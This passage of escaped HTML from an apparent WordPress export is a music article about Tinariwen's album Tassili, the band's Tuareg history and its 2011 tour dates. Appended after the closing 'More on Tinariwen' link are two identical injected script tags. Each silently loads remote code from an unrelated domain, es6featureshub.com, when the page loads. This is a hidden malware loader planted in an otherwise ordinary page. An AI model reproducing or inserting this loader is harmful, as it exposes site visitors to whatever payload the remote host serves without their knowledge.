But in content this is more of an <strong>acoustic album<\/strong>, with the band members joined by a few American musicians such as <strong>Kyp Malone<\/strong> (TV On The Radio), <strong>Nels Cline<\/strong> (Wilco) and the <strong>Dirty Dozen Brass Band<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Tinariwen was put together in the 80s, first informally, in an area located between the oasis of Tessalit in Mali, and Tamanrasset in Algeria. As activists of the Tuareg cause, they spent a few years in a training camp in Libya before the Tuareg rebellion outburst at the end of the decade. The 1994 peace agreements did not hold back their involvement and they became the spokespeople of a population who sees its culture changing, its resources declining, and its youth emigrating.<\/p>\n<p style=\"text-align: justify;\">Tinariwen is now <strong>a band known worldwide<\/strong>, performing on the most prestigious stages across the planet, the Eurock\u00e9ennes in France, Glastonbury in England, and Coachella in USA.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><strong>Tinariwen live:<\/strong><\/p>\n<p>September 3, 2011: Moseley Folk, Birmingham, UK<\/p>\n<p>September 4, 2011: End Of The Road Festival, Larmer Tree Gardens, UK<\/p>\n<p>September 6, 2011: Fabrik Hamburg, Hamburg, Germany<\/p>\n<p>September 7, 2011: WUK, Vienna, Austria<\/p>\n<p>September 9, 2011: USF Verftet, Bergen, Norway<\/p>\n<p>September 10, 2011: COSMOPOLITE, Oslo, Norway<\/p>\n<p>September 21, 2011: 104, Paris, France<\/p>\n<p>September 23-24, 2011: Babylon, Istanbul, Turkey<\/p>\n<p>September 26, 2011: Tvornica, Zagreb, Croatia<\/p>\n<p>September 30, 2011: O oh La La!, LA, USA<\/p>\n<p>&#8230;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><a href=\"http:\/\/www.tinariwen.com\/\" target=\"_blank\">More on Tinariwen<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tinariwen (meaning the deserts, plural for tenere) has just issued their 5th album, Tassili, named after the southern region of Algeria where it was recorded.
